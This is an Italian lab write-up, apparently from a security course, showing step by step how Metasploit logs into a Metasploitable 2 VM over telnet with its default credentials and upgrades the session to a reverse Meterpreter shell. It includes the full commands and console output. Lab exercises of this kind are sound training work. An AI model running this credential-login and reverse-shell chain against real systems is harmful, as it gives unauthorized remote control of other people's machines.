

**EXTRA S7 L2**

## Extra

## Fase 2: Autenticazione e Creazione della Sessione

L'obiettivo è ottenere l'accesso a Metasploitable 2 sfruttando le sue credenziali predefinite. Utilizza il modulo **auxiliary/scanner/telnet/telnet\_login** e imposta i seguenti parametri:

- Il **target** (RHOSTS).
- Le **credenziali** note (USERNAME e PASSWORD).
- L'opzione **STOP\_ON\_SUCCESS** su **true**.

Una volta eseguito con successo, il modulo stabilirà una sessione di comando.

### Fase 3: Gestione delle Sessioni

Verifica le sessioni attive tramite il comando **sessions -l**. Per interagire con la sessione appena creata, digita **sessions -i <ID\_sessione>**.

#### Fase 4: Upgrade della Sessione a Meterpreter

Metti in background la sessione attiva usando la combinazione di tasti **Ctrl+Z** e confermando con **y** alla richiesta. Successivamente, utilizza il modulo **post/multi/manage/shell\_to\_meterpreter** per eseguire l'upgrade della sessione a Meterpreter. Controlla le opzioni con il comando **show options** ed effettua tutte le configurazioni necessarie per completare l'operazione.

## SVOLGIMENTO

Apro la console Metasploit Framework con msfconsole:

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R
```

  

```
+-----+
| METASPLOIT by Rapid7 |
+-----+
|=c(_____(o(_____(_() )= \
//      // RECON       \\
\\      \\              //
***** EXPLOIT ***** [***
===== [msf >] =====\
\\(๑)(๑)(๑)(๑)(๑)(๑)/
*****
```

Utilizzo il modulo **auxiliary/scanner/telnet/telnet\_login** con il comando **use** e successivamente visualizzo le opzioni con **show options**:

```
msf6 > use auxiliary/scanner/telnet/telnet_login
msf6 auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

  Name                Current Setting  Required  Description
  ---                -
  ANONYMOUS_LOGIN      false           yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS      false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED     5               yes       How fast to bruteforce, from 0 to 5
  CreateSession        true            no        Create a new session for every successful login
  DB_ALL_CREDS         false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS          false           no        Add all passwords in the current database to the list
  DB_ALL_USERS         false           no        Add all users in the current database to the list
  DB_SKIP_EXISTING     none            no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
  PASSWORD             A specific password to authenticate with
  PASS_FILE            File containing passwords, one per line
  RHOSTS               The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT                23              yes       The target port (TCP)
  STOP_ON_SUCCESS      false           yes       Stop guessing when a credential works for a host
  THREADS              1               yes       The number of concurrent threads (max one per host)
  USERNAME             A specific username to authenticate as
  USERPASS_FILE        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS         false           no        Try the username as the password for all users
  USER_FILE            File containing usernames, one per line
  VERBOSE              true            yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

Ora posso impostare / settare le opzioni come richiesto dalla traccia :

- Set RHOSTS 192.168.1.40 >>> seleziono l'IP target**
- Set PASSWORD msfadmin >>> imposto lo username conosciuto**
- Set USERNAME msfadmin >>> imposto la password conosciuta**
- Set STOP\_ON\_SUCCESS true >>> imposto la chiusura della sessione una volta trovate le credenziali corrette**

Una volta settate correttamente uso il comando **run** :

```
msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.1.40:23 - No active DB -- Credential data will not be saved!
[*] 192.168.1.40:23 - 192.168.1.40:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.40:23 - Attempting to start session 192.168.1.40:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.25:40261 -> 192.168.1.40:23) at 2025-08-26 09:15:58 -0400
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Ora verifico le sessioni attive con **sessions -l** e successivamente per interagire con la sessione creata digito **sessions -i 1** ( indicando appunto la sessione 1):

```
msf6 auxiliary(scanner/telnet/telnet_login) > sessions -l
Active sessions
-----
  Id  Name  Type  Information  Connection
  --  ---  ---  ---
  1    shell  TELNET msfadmin:msfadmin (192.168.1.40:23) 192.168.1.25:40261 → 192.168.1.40:23 (192.168.1.40)

msf6 auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...

Shell Banner:
No mail.
```

A questo punto metto la sessione in background utilizzando il comando **ctrl Z** confermando con **y** alla richiesta:

```
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
```

Successivamente, per eseguire l' upgrade della sessione a **Meterpreter** utilizzo il modulo **post/multi/manage/shell\_to\_meterpreter** e vado a controllare le opzioni con **show options**:

```
msf6 auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  ---      -
  HANDLER   true             yes       Start an exploit/multi/handler to receive the connection
  LHOST     no               no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT     4433             yes       Port for payload to connect to.
  SESSION   yes              yes       The session to run this module on

View the full module info with the info, or info -d command.
```

Ora procedo con le configurazioni successive per completare l'esercizio, utilizzo **set session 1**( seleziono il modulo con cui Metasploit deve interagire) seguito da uno **show options** per poi controllare le opzioni:

```
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  ---      -
  HANDLER   true             yes       Start an exploit/multi/handler to receive the connection
  LHOST     no               no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT     4433             yes       Port for payload to connect to.
  SESSION   1                yes       The session to run this module on

View the full module info with the info, or info -d command.
```

Ed Eseguo il **run**:

```
msf6 post(multi/manage/shell_to_meterpreter) > run
[!] SESSION may not be compatible with this module:
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.25:4433
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 2 opened (192.168.1.25:4433 → 192.168.1.40:46498) at 2025-08-26 09:22:23 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
```

Verifico le sessioni attive con **sessions -l**

```
sessions -l
Active sessions
=====
```

Id	Name	Type	Information	Connection
1	shell		TELNET msfadmin:msfadmin (192.168.1.40:23)	192.168.1.25:40261 → 192.168.1.40:23 (192.168.1.40)
2	meterpreter	x86/linux	msfadmin @ metasploitable.localdomain	192.168.1.25:4433 → 192.168.1.40:46498 (192.168.1.40)

Per interagire con la sessione creata digito **sessions -i 2** ( ad indicare la sessione 2 meterpreter x86/linux)

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > |
```

## CONCLUSIONE

Questo esercizio mostra come dopo aver trovato le credenziali di accesso ed essere entrato in un sistema non protetto, si possa ottenere sempre più controllo. Partendo dalla debolezza iniziale (le password di default di Metasploitable), è stato possibile collegarsi al sistema. Poi, usando le funzioni avanzate di Metasploit, la connessione è stata migliorata trasformandola in una shell Meterpreter, una shell avanzata che permette di controllare completamente un sistema compromesso in modo discreto e sofisticato.